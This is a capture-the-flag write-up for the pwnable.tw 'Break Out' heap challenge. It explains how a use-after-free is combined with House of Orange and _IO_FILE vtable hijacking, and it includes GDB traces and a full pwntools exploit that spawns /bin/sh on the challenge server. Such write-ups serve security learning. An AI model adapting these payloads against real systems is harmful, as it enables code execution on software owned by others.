Break Out
Prison management system — UAF + House of Orange for code execution without free()
Exploit Flow
nc chall.pwnable.tw 10400
UAF via note()
Unsorted bin ptr
punish() trick
Unsorted bin attack
_IO_FILE vtable
1. Reconnaissance
Break Out is a 450-point pwn challenge that simulates a prison management system. The binary manages prisoner records with names, cell numbers, sentences, and notes. The challenge is notable because it does not have a free() function exposed to the user, which means traditional heap exploitation techniques like fastbin dup or tcache poisoning won't work. Instead, we need to use the House of Orange technique to get code execution.
File Analysis
$ file breakout
breakout: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, not stripped
Checksec
$ checksec breakout
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
With Full RELRO, canary, NX, and PIE, we can't use GOT overwriting, shellcode, or simple stack smashing. More importantly, the program never calls free() on user-controlled data — the only heap deallocation happens through realloc() when resizing notes. This means we need the House of Orange technique: corrupt the top chunk to force malloc to call _IO_flush_all_lockp, then hijack execution through the _IO_FILE vtable.
Running the Binary
$ ./breakout
== Prison Management System ==
1. list
2. note
3. punish
4. exit
>
The program has three commands: list (show prisoners), note (add/edit note for a prisoner), and punish (delete a prisoner's note). The note command allocates or re-allocates a heap buffer for the note content. The punish command marks a cell as "punished" but critically does not properly free the note buffer — this is our use-after-free primitive.
| Attribute | Value |
|---|---|
| Challenge | Break Out (450 pts) |
| Connection | nc chall.pwnable.tw 10400 |
| Binary | 64-bit ELF, x86-64, PIE, dynamically linked |
| Canary | Yes |
| NX | Enabled |
| PIE | Enabled |
| RELRO | Full |
| Vulnerability | Use-After-Free + Top Chunk Corruption |
| Technique | House of Orange (unsorted bin attack + _IO_FILE vtable) |
2. Static Analysis
Prisoner Structure
Each prisoner is stored in a linked list node with the following structure:
struct prisoner {
char padding[8]; // +0x00
long size; // +0x08 (chunk size for heap metadata)
void *prev; // +0x10 (linked list prev)
void *next; // +0x18 (linked list next)
int cell_number; // +0x20 (cell/prisoner ID)
int is_punished; // +0x24 (flag: 0=normal, 1=punished)
void *guardian; // +0x28 (pointer to guardian object)
uint32_t note_size; // +0x30 (size of note buffer)
uint32_t padding2; // +0x34
char *note_ptr; // +0x38 (pointer to note content)
void *next_prisoner; // +0x40 (next in cell list)
};
// The prisoner data is initialized from a file "prisoner":
// Gus Oakley::40:Life imprisonment, espionage and computer crime
// James Doolin:Kid Twist:45:Life imprisonment, horrible homicides
// Sergey Pickett::48:Life imprisonment, multiple homicides
// ... (10 prisoners total)
Decompiled Logic (Pseudocode)
void note_cmd(int cell, int size, char *content) {
prisoner *p = find_prisoner(cell);
if (!p) return;
if (p->note_ptr) {
// If note already exists, realloc
p->note_ptr = realloc(p->note_ptr, size);
} else {
// Allocate new note buffer
p->note_ptr = malloc(size);
}
p->note_size = size;
if (content) {
// Read note content
read(0, p->note_ptr, size); // Wait — size from user!
}
}
void punish_cmd(int cell) {
prisoner *p = find_prisoner(cell);
if (!p) return;
p->is_punished = 1;
// BUG: Does NOT free p->note_ptr!
// If note_ptr was allocated, it's now a dangling pointer
// But the note data remains readable via list_cmd
}
void list_cmd() {
// Iterate through all prisoners
// Print: Name, Alias, Cell, Sentence
// If note exists, print note content
// This allows us to READ freed/leaked data!
}
Vulnerability Analysis
The exploit chain involves multiple vulnerabilities working together:
- Use-After-Free via realloc: When we call
note(cell, new_size, content)on a cell that already has a note, it callsrealloc(). Ifnew_sizeis larger than the current allocation,reallocmay free the old chunk and allocate a new one. The old chunk's data can then be read vialist, leaking heap pointers. - Top Chunk Corruption: By carefully sizing allocations, we can overwrite the top chunk's size field. When
mallocsubsequently needs more memory, it callssbrk()/mmap()to extend the heap. The old top chunk is then placed in the unsorted bin, giving us a libc leak. - House of Orange: The corrupted top chunk forces
mallocto consolidate and call_IO_flush_all_lockp, which traverses the_IO_list_alllinked list and calls virtual functions on each_IO_FILEobject. By crafting a fake_IO_FILEstructure with a controlled vtable pointer, we redirect execution tosystem()or a one_gadget.
The technique is named after the challenge "Orange" from HITCON CTF 2016, where it was first demonstrated. The key insight is that you can get code execution from malloc without ever calling free() — by corrupting the top chunk and triggering the _IO_FILE handling code path. This makes it the go-to technique for "no-free" heap challenges.
3. GDB Debugging
Heap Layout After Top Chunk Corruption
# Initial heap state:
gdb-peda$ heap chunks
0x555555757000: size=0x290 (prisoner records)
0x555555757290: size=0x28 (note for cell 0)
0x5555557572b8: size=0x28 (note for cell 1)
0x5555557572e0: size=0x20d70 (top chunk)
# After realloc to larger size (frees old chunk):
# note(0, 0xe8, 'A') — realloc from 0x28 to 0xe8
gdb-peda$ heap chunks
0x555555757290: size=0xf0 (new note for cell 0 — larger)
0x5555557572b8: size=0x28 (note for cell 1 — STILL HERE!)
0x555555757380: size=0x20ca0 (top chunk — shifted)
# The old 0x28 chunk at 0x5555557572b8 is now freed
# When another allocation fills it, the note data overlaps
# with the freed chunk → information leak!
Register State
# After House of Orange triggers _IO_flush_all_lockp:
RIP: 0x7f4e2c3a8fb0 (_IO_flush_all_lockp)
RDI: 0x5555557584f0 (fake _IO_FILE structure on heap)
RSI: 0x2
RDX: 0x3
# The call through the vtable:
# _IO_FILE->vtable->__overflow(FILE, EOF)
# Where vtable points to our controlled fake vtable
# And __overflow is overwritten with system() address
RIP: 0x7f4e2c45390 (system())
RDI: 0x5555557584f0 ("/bin/sh" at start of fake _IO_FILE)
Breakpoint Strategy
# Key breakpoints for Break Out:
b *note_cmd # Note creation/editing
b *punish_cmd # Punish (UAF trigger)
b *list_cmd # List (info leak)
b *realloc # Track reallocations
b *_IO_flush_all_lockp # House of Orange trigger
b *system # Verify shell execution
# Watch the top chunk corruption:
watch *(long*)($top_chunk_addr + 8) # Watch top chunk size
4. Exploit Strategy
Attack Overview
list command prints cell data including note content, which now contains heap pointers from the freed chunk's fd/bk fields.main_arena in libc. Read these via list to calculate the libc base address.punish command on a cell with a crafted note. The punish doesn't free the note buffer but marks it as punished. We can then write to this "punished" cell's note slot to overwrite the prisoner metadata structure, effectively getting an arbitrary write primitive._IO_FILE structure on the heap with "/bin/sh" as the first 8 bytes, set up the vtable pointer to point to a fake vtable, and overwrite _IO_list_all via the unsorted bin attack. When malloc triggers _IO_flush_all_lockp, it calls system("/bin/sh") through the corrupted vtable.Heap & Libc Leak
# Leak heap address
note(0, 0x28, b'A') # Allocate note for cell 0
note(1, 0x28, b'A') # Allocate note for cell 1
note(0, 0xe8, b'A') # Realloc cell 0 — frees old 0x28 chunk
note(1, 0x38, b'A') # Realloc cell 1 — old chunk goes to fastbin
note(2, 0x28, b'0') # New allocation fills freed space
heap_leak = u64(leak_heap()) # Read fd pointer from list output
heap_base = heap_leak - 0x12430
# Leak libc address
note(3, 0x88, b'A') # Allocate large note for cell 3
note(4, 0x48, b'A') # Guardian allocation
note(3, 0x98, b'A') # Realloc cell 3 — old chunk to unsorted bin
note(5, 0x88, b'\x78') # Fill partial to preserve libc pointer
libc_leak = u64(leak_libc()) # Read unsorted bin fd/bk
libc_base = libc_leak - 0x3c3b78
House of Orange Construction
# Construct fake _IO_FILE structure for House of Orange
system_addr = libc_base + 0x45390
_IO_list_all_addr = libc_base + 0x3c4520
fake_vtable = heap_base + 0x124f0
fake_wide_data = heap_base + 0x12520
# The fake _IO_FILE structure:
# - First 8 bytes: "/bin/sh\0" (will be passed as arg to system())
# - +0x08: 0x61 (size field — triggers unsorted bin attack)
# - +0x10: 0x0 (fd)
# - +0x18: _IO_list_all - 0x10 (bk — unsorted bin attack target)
# - +0x20 to +0x78: zeros
# - +0x78: system() address (__overflow in vtable)
# - +0xa0: fake_wide_data pointer
# - +0xa8: 0x2 (mode)
# - +0xc0: 0x1 (write buffer pointer)
# - +0xd8: fake_vtable pointer
payload = b'/bin/sh\0' # +0x00
payload += p64(0x61) # +0x08 (size)
payload += p64(0) # +0x10 (fd)
payload += p64(_IO_list_all_addr - 0x10) # +0x18 (bk)
payload += p64(0) * 11 # +0x20 to +0x78
payload += p64(system_addr) # +0x78 (__overflow)
payload += p64(0) * 4 # +0x80 to +0xa0
payload += p64(fake_wide_data) # +0xa0 (_wide_data)
payload += p64(0x2) # +0xa8 (mode)
payload += p64(0x3) # +0xb0
payload += p64(0) # +0xb8
payload += p64(0x1) # +0xc0
payload += p64(0) * 2 # +0xc8 to +0xd0
payload += p64(fake_vtable) # +0xd8 (vtable pointer)
5. Pwn Script
Full Exploit (from wxrdnx writeup)
#!/usr/bin/env python3
# Break Out exploit for pwnable.tw
# UAF + House of Orange (no free() needed)
# Based on wxrdnx's writeup: github.com/wxrdnx/pwnable.tw_writeup
from pwn import *
io = remote('chall.pwnable.tw', 10400)
def list_all():
io.recvuntil('> ')
io.sendline('list')
def note(cell, size, note):
io.recvuntil('> ')
io.sendline('note')
io.recvuntil('Cell: ')
io.sendline(str(cell))
io.recvuntil('Size: ')
io.sendline(str(size))
if note:
io.recvuntil('Note: ')
io.send(note)
def punish(cell):
io.recvuntil('> ')
io.sendline('punish')
io.recvuntil('Cell: ')
io.sendline(str(cell))
def leak_heap():
list_all()
io.recvuntil('Sentence: Life imprisonment, multiple homicides\nNote: ')
return io.recv(8)
def leak_libc():
list_all()
io.recvuntil('Sentence: Life imprisonment, psychopath, contract killer\nNote: ')
return io.recv(8)
# ─── Stage 1: Leak heap address ───
note(0, 0x28, b'A')
note(1, 0x28, b'A')
note(0, 0xe8, b'A') # realloc cell 0 → frees old 0x28 chunk
note(1, 0x38, b'A') # realloc cell 1 → frees old 0x28 chunk
note(2, 0x28, b'0') # fills freed space, note content overwrites fd
heap_leak = u64(leak_heap())
heap_base = heap_leak - 0x12430
log.success(f"Heap base: {hex(heap_base)}")
# ─── Stage 2: Leak libc address ───
note(3, 0x88, b'A')
note(4, 0x48, b'A') # guardian chunk
note(3, 0x98, b'A') # realloc → old chunk to unsorted bin
note(5, 0x88, b'\x78') # partial overwrite to preserve libc ptr
libc_leak = u64(leak_libc())
libc_base = libc_leak - 0x3c3b78
log.success(f"Libc base: {hex(libc_base)}")
# ─── Stage 3: UAF arbitrary write ───
# Use punish() on cell 9 (doesn't actually free)
# Then write crafted metadata to cell 9's note
payload = p64(heap_base) * 3 + p32(0) + p32(9) + p64(heap_base)
payload += p32(0x1000) + p32(0) + p64(heap_base + 0x12490) + p64(heap_base + 0x122f0)
punish(9)
note(9, 0x48, payload)
# ─── Stage 4: House of Orange ───
system_addr = libc_base + 0x45390
_IO_list_all_addr = libc_base + 0x3c4520
fake_vtable = heap_base + 0x124f0
fake_wide_data = heap_base + 0x12520
# Build fake _IO_FILE structure
payload = b'/bin/sh\0' + p64(0x61) + p64(0) + p64(_IO_list_all_addr - 0x10)
payload += p64(0) * 11 + p64(system_addr) + p64(0) * 4
payload += p64(fake_wide_data) + p64(0x2) + p64(0x3)
payload += p64(0) + p64(0x1) + p64(0) * 2 + p64(fake_vtable)
note(0, 0xf8, b'A') # Free and put chunk to unsorted bin
note(9, 0xe0, payload) # Unsorted bin attack — overwrites _IO_list_all
# Trigger malloc → abort → _IO_flush_all_lockp → system("/bin/sh")
note(6, 0x78, None)
io.interactive()
House of Orange Breakdown
The House of Orange technique works in these steps:
_int_free of old top_IO_list_all gets overwrittenThe second exploit from wxrdnx uses a different approach: instead of House of Orange, it uses the UAF to perform a fastbin dup attack targeting __malloc_hook. This involves: (1) using the UAF to create overlapping chunks, (2) writing p64(__malloc_hook - 0x23) as a fake chunk size to pass the fastbin size check, (3) allocating chunks until one lands at __malloc_hook, (4) writing a one_gadget address there, and (5) triggering malloc_printerr to call __malloc_hook.
6. Execution Results
Break Out is a masterclass in heap exploitation without free(). The House of Orange technique is essential for "no-free" scenarios where the attacker cannot directly trigger chunk deallocation. The technique demonstrates deep understanding of glibc internals: how the top chunk works, how malloc extends the heap, how unsorted bin attacks work, and how _IO_FILE structures are exploited through vtable hijacking. This knowledge directly translates to real-world exploitation of custom allocators and memory pools that don't expose free() to the attacker.